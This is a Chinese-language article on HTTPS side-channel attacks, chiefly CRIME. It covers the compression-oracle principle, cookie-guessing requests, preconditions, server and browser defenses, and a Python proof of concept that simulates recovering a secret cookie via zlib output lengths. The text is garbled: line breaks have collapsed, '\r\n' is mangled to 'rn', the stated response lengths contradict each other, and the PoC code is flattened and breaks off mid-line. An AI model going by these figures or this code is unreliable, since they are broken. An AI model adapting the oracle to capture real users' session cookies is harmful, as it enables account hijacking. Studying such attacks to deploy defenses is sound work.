常见的HTTPS攻击方法

◆0 背景

研究常见的https攻击方法
Beast crime breach，并针对https的特性提出一些安全部署https的建议。
针对于HTTPS的攻击，多存在于中间人攻击的环境中，主要是针对于HTTPS所使用的压缩算法和CBC加密模式，进行side-channel-attack。这几类攻击的前置条件都比较苛刻，且都需要受害主机提交很多次请求来收集破译关键数据的足够信息。
常见的攻击方法，主要有，BEAST Lucky-13 RC4 Biases CRIME TIME BREACH等。主要对其中三中进行介绍。
◆1 CRIME

Compression Ratio Info-leak Made Easy

攻击原理

攻击者控制受害者发送大量请求，利用压缩算法的机制猜测请求中的关键信息，根据response长度判断请求是否成功。
如下面的https头，攻击这可以控制的部分为get请求地址，想要猜测的部分为Cookie。那么攻击者只需要在GET地址处，不断变换猜测字符串，进行猜测。
GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924GET /sessionid=a HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924比如上面的情况Response长度为 1000byte。
GET /sessionid=d HTTP/1.1Host: bank.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)Gecko/20100101 Firefox/16.0Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924当攻击者猜对了cookie的第一个字母，Response的长度会缩小到9999byte。
当Response被SSL加密之后，如果使用RC4加密模式，长度并不会发生随机改变。使用BCB加密模式时，因为padding的原因，长度会有略微的改变。
受影响的加密算法

Deflate = LZ77 + HuffManGZip = Headers + Data Compressed using Deflate攻击前提

攻击者可以获取受害者的网络通信包。(中间人攻击，ISP供应商)
浏览器和服务器支持均支持并使用压缩算法。
攻击这可以控制受害者发送大量请求并可以控制请求内容。
防御方法

客户端可以升级浏览器来避免这种攻击。
• Chrome: 21.0.1180.89 and above• Firefox: 15.0.1 and above• Opera: 12.01 and above• Safari: 5.1.7 and above服务器端可以通过禁用一些加密算法来防止此类攻击。
Apache
• SSLCompression flag = “SSLCompression off”
• GnuTLSPriorities flag = “!COMP-DEFLATE"
禁止过于频繁的请求。
修改压缩算法流程，用户输入的数据不进行压缩。
随机添加长度不定的垃圾数据。
影响范围
TLS 1.0.SPDY protocol (Google).Applications that uses TLS compression.Mozilla Firefox (older versions) that support SPDY.Google Chrome (older versions) that supported both TLS and SPDY.POC

这个poc并不是模拟真实环境下的中间人攻击，只是在python中利用CRIME的思想验证了攻击的可行性。
#!pythonimport stringimport zlibimport sysimport random charset = string.letters + string.digits COOKIE = ''.join(random.choice(charset) for x in range(30)) HEADERS = ("POST / HTTP/1.1rn"           "Host: thebankserver.comrn"           "Connection: keep-alivern"           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1rn"           "Accept: */*rn"           "Referer: https://thebankserver.com/rn"           "Cookie: secret="+COOKIE+"rn"           "Accept-Encoding: gzip,deflate,sdchrn"           "Accept-Language: en-US,en;q=0.8rn"           "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3rn"           "rn")BODY =    ("POST / HTTP/1.1rn"           "Host: thebankserver.comrn"           "Connection: keep-alivern"           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1rn"           "Accept: */*rn"           "Referer: https://thebankserver.com/rn"           "Cookie: secret=")cookie = "" def compress(data):     c = zlib.compressobj()    return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)def getposset(perchar,chars):    posset = []    baselen = len(compress(HEADERS+perchar))    for i in chars:        t = len(compress(HEADERS+ perchar+i))        if (t